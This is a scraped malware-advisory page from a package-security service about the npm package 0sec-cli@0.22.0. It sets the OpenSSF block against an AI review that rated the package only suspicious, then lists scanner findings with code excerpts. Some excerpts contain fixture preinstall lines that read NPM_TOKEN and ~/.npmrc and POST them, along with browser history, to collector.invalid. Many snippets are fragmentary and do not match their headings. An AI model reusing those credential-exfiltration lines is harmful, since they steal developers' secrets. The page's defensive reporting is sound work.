Loading npm security reports…
Loading npm security reports…
0sec-cli@0.22.0: Malware – npm package blocked (MAL-2026-19118) | LPM Firewall
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-19118 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisorypublished on Nov 11, 2026, 12:09 UTC · by OpenSSF/OSV OpenSSF/OSV advisory MAL-2026-19118 confirms this npm version as malicious.
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in 0sec-cli (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessmentSuspicious · reviewed on Nov 12, 2026, 13:50 UTC
LPM's AI review found this version suspicious. That disagrees with the OpenSSF/OSV advisory, which supplies the block.
Source supports a warning for guarded agent extension lifecycle behavior, particularly approval surviving third-party version changes with unchanged capabilities. Explicit confirmation and separate enablement prevent classifying this behavior as an unconsented install-time attack.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
The user confirms plugin installation and project enablement, then loads the enabled plugin.
Impact
Approved extensions execute local code and contribute agent tools, creating a guarded extension lifecycle risk.
Mechanism
Registry-supplied code is saved locally and executed in a child process; reconciliation checks declared capabilities but does not require renewed approval for every third-party version change.
Evidence
chunks/run-U3XU4CTC.js chunks/chunk-7DEHG7YT.js .0 plugins plugin.js
Independent scan evidencepublic snapshot AI called this Suspicious at 92.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
The marketplace writes registry-supplied plugin code into the package-owned plugin directory. Marketplace installation and enablement require an explicit confirmation. Plugin enablement approval is saved for the project. Enabled plugin entrypoints execute in a child process using the current runtime. Changed capabilities require renewed approval, but third-party version changes with unchanged capabilities retain enablement. Evidence against
package.json declares no install lifecycle hooks or runtime self-dependency. Plugin installation alone does not enable execution; no covert attack was established. Behavioral surface
Source Child process · Crypto · Dynamic require · Environment variables · Eval · Filesystem · Network · Shell · Web socket
Supply chain High entropy strings · Minified · Possible obfuscation · Telemetry · URL strings
Manifest No manifest risk signals triggered.
Scanned 121 files · 11.7 MB of source
50 external domains referenced
0.security 127.0.0.1 169.254.169.254 access.redhat.com accounts.google.com ai-gateway.vercel.sh ai-sdk.dev api.anthropic.com api.deepseek.com api.example.com api.github.com api.githubcopilot.com api.hackerone.com api.kimi.com api.openai.com api.osv.dev api.target.com api.vercel.com api.x.ai api.z.ai app.example.com astral.sh atlas.mitre.org attack.mitre.org attacker.example attacker.example.com attacker.invalid attacker.oast.id auth.kimi.com auth.openai.com auth.x.ai chatgpt.com cheatsheetseries.owasp.org cloud.0.security cloudcode-pa.googleapis.com collector.invalid crates.io crt.sh cwe.mitre.org datatracker.ietf.org docs.0.security duckduckgo.com duo.com evil.com evil.example example.com github.com graph.microsoft.com hackerone.com html.duckduckgo.com Findings7 critical · 18 high · 7 medium · 5 low Source & flagged code30 flagged High Child process
Package source references child process execution.
cli-path-traversal-fixture.js View on unpkg · L1 Code excerpt · 2 lines 1 import { spawn } from "node:child_process" ;
2 import { createServer } from "node:http" ;
High Shell
Package source references shell execution.
node_modules/node-gyp-build/bin.js View on unpkg · L60 Code excerpt · 3 lines 60 stdio: 'inherit' ,
61 shell: true ,
62 windowsHide: true
Critical Download execute
Source downloads or fetches remote code and executes it.
chunks/chunk-EGZGZFAH.js View on unpkg · L224 Code excerpt · 12 lines 224 parsePatch,
225 privateSmolvmDirectory,
226 publishEvolutionArtifact,
⋯
1559 // validation function arguments
1560 data: new codegen_1.Name ("data" ),
1561 // data passed to validation function
⋯
2586 id = normalizeId (id);
2587 return resolver.resolve (baseId, id);
2588 }
⋯
3468 for (i = 0 ; i < input.length; i++) {
dashboard/assets/jsx-runtime-MGseXjj5.js View file Medium Dynamic require
Package source references dynamic require/import behavior.
dashboard/assets/jsx-runtime-MGseXjj5.js View on unpkg · L2 Code excerpt · 1 line 3 Please change the parent <Route path="${e}" > to <Route path="${e===`/`?`*`:`${e}/*`}" >.`)}let u=G(),f;if(t){let e=typeof t==` string`?O(t):t;S(c===` /`||e.pathname?.startsWith(c),` Wh...
Critical Same file environment network execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
chunks/chunk-7UFUALR2.js View on unpkg · L3383 Code excerpt · 8 lines 3383 if (process.platform === "win32" ) return { success: false , installed: false , error: "Automatic installation is unavailable on Windows; download a release from https://github.com/0s...
3384 if (disabled (process.env["ZERO_OFFLINE" ]) || disabled (process.env["ZERO_NO_UPDATE_CHECK" ])) {
3385 return { success: false , installed: false , error: "Updates are disabled by the current offline/update policy." };
⋯
3393 const normalizedTag = tag.startsWith ( ) ? tag : ;
High Remote system file write
Source writes bytes from a remote response into a privileged operating-system path.
chunks/chunk-RE5EZDG2.js View on unpkg · L206 Code excerpt · 12 lines 206 }
207 function analyticsOptedOut (env = process.env) {
208 return ANALYTICS_OPT_OUT_ENV.some ((name) => isOptOutSet (env[name]));
⋯
262 * any sink are swallowed — one misbehaving consumer must never abort a
263 * scan. Diagnostic is written to stderr so the failure is visible.
264 */
⋯
272 try {
273 process.stderr.write (`[0 event-bus] sink threw on ${type}: ${msg}
274 `);
⋯
Critical Credential exfiltration
Source appears to send environment or credential material to an external endpoint.
chunks/chunk-V36HVTUL.js View on unpkg · L8 Code excerpt · 12 lines 8 // packages/core/dist/prepare.js
9 import { execFileSync as execFileSync2 } from "node:child_process" ;
10 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
40 files: {
41 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
42 "preinstall.js" : [
Critical Command output exfiltration
Source executes local commands and sends command output to an external endpoint.
chunks/chunk-SJBCK2EI.js View on unpkg · L9617 Code excerpt · 5 lines 9617 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
9618 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
9619 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
9620 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndescription: "Untrusted-length parsing, OOB read/write, integer overfl...
⋯
9622 "vulnerabilities/prototyp
High Sandbox evasion gated capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
chunks/chunk-CAYANSH6.js View on unpkg · L93 Code excerpt · 12 lines 93 const json = JSON.stringify (report);
94 const compressed = gzipSync (Buffer.from (json, "utf-8" ));
95 const b64 = compressed.toString ("base64url" );
96 return `https://0.security/r#${b64}` ;
97 }
⋯
488 const status = inspectLensRegistry (registry);
489 process.stdout.write (opts.json ? `${JSON.stringify(status, null, 2)}
High Cloud metadata access
Source reaches cloud instance metadata or link-local credential endpoints.
chunks/chunk-TH2LW437.js View on unpkg · L124 Code excerpt · 12 lines 124 function getVercelOidcTokenSync2 () {
125 const token = (0 , import_get_context.getContext)().headers?.["x-vercel-oidc-token" ] ?? process.env.VERCEL_OIDC_TOKEN;
126 if (!token) {
⋯
342 data,
343 message = `Invalid response data: ${JSON.stringify(data)}.`
344 }) {
⋯
604 function feed (chunk) {
605 if (isFirstChunk && (isFirstChunk = false , chunk.charCodeAt (0 ) === && chunk. ( ) === && chunk. ( ) === && (chunk = chunk. ( ))), pendingFragments....
High Remote agent bridge
Source exposes local file and command tools to a remote model endpoint.
chunks/chunk-UV5QWZGE.js View on unpkg · L310 Code excerpt · 12 lines 310 // [redacted]-check.js
311 import { execFile } from "node:child_process" ;
312 import { promisify } from "node:util" ;
⋯
332 var OWN_FROM_MARKERS = ["0.ai" , "doruk@" ];
333 function epochUrl (baseUrl, list, epoch) {
334 return `${baseUrl}/${list}/git/${epoch}.git` ;
⋯
1753 try {
1754
High Copied package dependency bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
chunks/chunk-2OQOQ2FZ.js View on unpkg · L1732 Code excerpt · 4 lines package = 0sec-cli; repositoryIdentity = 0 ; dependency = playwright
1732 try {
1733 playwright = await import ("playwright" );
1734 } catch {
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View file Medium Ships native binary
Package ships native binary artifacts.
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node
kind = native_binary
sizeBytes = 404792
magicHex = [redacted]
node_modules/tree-sitter/binding.gyp View file Medium Ships build helper
Package ships non-JavaScript build or shell helper files.
node_modules/tree-sitter/binding.gyp View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/binding.gyp
kind = build_helper
sizeBytes = 1835
magicHex = [redacted]
vendor/tree-sitter-0.21.1-node24.tgz View file High Ships high entropy blob
Package ships high-entropy non-source blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = high_entropy_blob
sizeBytes = 948015
magicHex = [redacted]
Medium Ships compressed blob
Package ships compressed or archive-like blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = compressed_blob
sizeBytes = 948015
magicHex = [redacted]
Low Nested archive needs inspection
Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.
chunks/chunk-DQTNI3KY.js#virtual:normalized:round1 View file High Semantic analysis limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
chunks/chunk-DQTNI3KY.js#virtual:normalized:round1 View on unpkg Scanner record · 1 line stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 8
Critical Previous version dangerous delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
chunks/chunk-TO35Y326.js View on unpkg Scanner record · 5 lines matchType = previous_version_dangerous_delta
matchedPackage = 0sec-cli@0.21.4
matchedIdentity = npm:MHNlYy1jbGk:0.21.4
similarity = 0.633
summary = stored previous version shares package body but lacks this dangerous source file
Package metadata 7 findings
Medium Network
Medium Environment variables
Medium Structural risk force deep review
3469 code = input[i].charCodeAt (0 );
Code excerpt · 3 lines 11345 "code-injection" : {
11346 summary: "Eliminate eval() and similar dynamic code execution with user-controlled input. Use safe alternatives." ,
11347 steps: [
High Credential redirect persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
chunks/chunk-EGZGZFAH.js View on unpkg Scanner record · 8 lines Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
chunks/chunk-EGZGZFAH.js- Authorization bypass (can you access tools/resources that should be restricted?)
- Insecure tool/function calling without authorization checks
- Hardcoded API keys or credentials
const res = await doFetch(`${opts.baseUrl}/chat/completions`, {
authorization: `Bearer ${opts.apiKey}`
import { mkdir, writeFile } from "node:fs/promises";
var SENSITIVE_KEY = /(?:authorization|api[-_]?key|cookie|password|secret|token|credential)/i;
await writeFile(absolutePath2, content, "utf8");
High Obfuscated payload loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
chunks/chunk-EGZGZFAH.js View on unpkg · L22812 Code excerpt · 3 lines 22812 [/stack[^.\n]*(buffer|out.of .bounds|overflow)|stack-buffer-overflow/, /stack-buffer-overflow|dynamic-stack-buffer-overflow/],
22813 [/global[^.\n]*(buffer|out.of .bounds|overflow)|global-buffer-overflow/, /global-buffer-overflow/],
22814 [/use.after.free|uaf/, /use-after-free|heap-use-after-free/],
High Trigger reachable external post callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
chunks/chunk-EGZGZFAH.js View on unpkg Scanner record · 9 lines Trigger-reachable fixed external POST callback chain: manifest.bin -> 0.js -> chunks/chunk-EGZGZFAH.js
oastConfirmedPayload,
describeEngagementPosture,
runHttpConformanceCheck
return JSON.stringify(x).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
post: { rules: [] },
var post = cb.post || function() {
_traverse(opts, pre, post, schema, "", schema);
function _traverse(opts, pre, post, schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) {
"v"
`v${tag}`
3394 const env = { ...process.env, RELEASE_BASE_URL: `https://github.com/${REPO}/releases/download/${normalizedTag}` };
3395 const installDir = options.installDir ?? process.env["ZERO_INSTALL_DIR" ];
3398 return await new Promise ((resolve) => {
3399 const child = spawn ("bash" , ["-o" , "pipefail" , "-c" , `
Critical Trigger reachable dangerous capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
chunks/chunk-7UFUALR2.js View on unpkg · L40 High Cross file remote execution context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
chunks/chunk-7UFUALR2.js View on unpkg · L40 Shared code excerpt · 2 findings · 12 lines Trigger-reachable chain: manifest.bin -> 0.js -> chunks/chunk-7UFUALR2.js
40 * Constructs the CommanderError class
41 * @param {number} exitCode suggested exit code which could be used with process.exit
42 * @param {string} code an id string representing the error
⋯
966 var EventEmitter = __require ("node:events" ).EventEmitter;
967 var childProcess = __require ("node:child_process" );
968 var path = __require ("node:path" );
⋯
1015 this ._outputConfiguration = {
1016 writeOut: (str) => process2.stdout.write (str),
1017 writeErr: (str) => process2.stderr.write (str),
⋯
1051 * @returns {Command[]}
1052 * @private
1053 */
285 import { join } from "node:path" ;
286 var DEFAULT_CLOUD_HOST = "https://cloud.0.security" ;
287 var CloudAuthMissingError = class extends Error {
43 "const https = require('https');" ,
44 "const child_process = require('child_process');" ,
45 "const token = process.env.NPM_TOKEN || '';" ,
46 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
47 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
High Entrypoint foreign package code overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
chunks/chunk-V36HVTUL.js View on unpkg Scanner record · 8 lines Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
chunks/chunk-V36HVTUL.jsimport { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
import { mkdirSync, writeFileSync } from "node:fs";
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
const packageDir = join(tempDir, "node_modules", packageName);
writeFileSync(absPath, content, "utf8");
"https://api.osv.dev/v1/query"
const pkgJsonPath = join2(tempDir, "node_modules", packageName, "package.json");
High Trigger reachable credential exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
chunks/chunk-V36HVTUL.js View on unpkg · L8 Code excerpt · 11 lines Trigger-reachable credential exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-V36HVTUL.js
8 // packages/core/dist/prepare.js
9 import { execFileSync as execFileSync2 } from "node:child_process" ;
10 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
40 files: {
41 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
42 "preinstall.js" : [
43 "const https = require('https');" ,
44 "const child_process = require('child_process');" ,
45 "const token = process.env.NPM_TOKEN || '';" ,
46 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
47 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
Critical Persistence backdoor
Source writes persistence or remote-access backdoor material.
chunks/chunk-SJBCK2EI.js View on unpkg · L188 High Trigger reachable persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
chunks/chunk-SJBCK2EI.js View on unpkg · L188 Shared code excerpt · 2 findings · 12 lines 188 Binary2.fromSource = fromSource;
189 function toBase64 (source) {
190 source = fromSource (source);
⋯
258 Time2.week = Time2.day * 7 ;
259 let timezoneOffset = (/* @__PURE__ */ new Date ()).getTimezoneOffset ();
260 function setTimezoneOffset (offset) {
⋯
355 original: /* @__PURE__ */ Symbol.for ("cordis.original" ),
356 metadata: /* @__PURE__ */ Symbol.for ("cordis.metadata" ),
357 initHooks: /* @__PURE__ */ Symbol.for ("cordis.initHooks" ),
⋯
2252 }
2253 if (basename (normalized) === "package.json" ) {
2254 throw new Error (`non-source kind "${config.kind}" cannot edit package.json (potential executable change): ${editPath}` );
High Trigger reachable command output exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
chunks/chunk-SJBCK2EI.js View on unpkg · L9617 Code excerpt · 4 lines Trigger-reachable command-output exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-SJBCK2EI.js
9617 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
9618 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
9619 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
9620 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndescript
490 ` : ` ${formatLensRegistryStatus (status)}
571 import { tmpdir } from "node:os" ;
572 import { execFile } from "node:child_process" ;
573 import { existsSync as existsSync2 } from "node:fs" ;
1475 const PDFDocument = require_ ("pdfkit" );
239
charCodeAt
1
187
charCodeAt
2
191
slice
3
606 const trailing2 = processLines (chunk);
825 function getWebSocketConstructor (webSocket) {
826 const WebSocketConstructor = webSocket != null ? webSocket : globalThis.WebSocket;
return JSON.parse (readFileSync (path2, "utf8" ));
3609 "## Available Tools" ,
3610 "Call tools using this exact format (one per line):" ,
vendor/tree-sitter-0.21.1-node24.tgz
Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = nested_archive_needs_inspection
sizeBytes = 948015
magicHex = [redacted]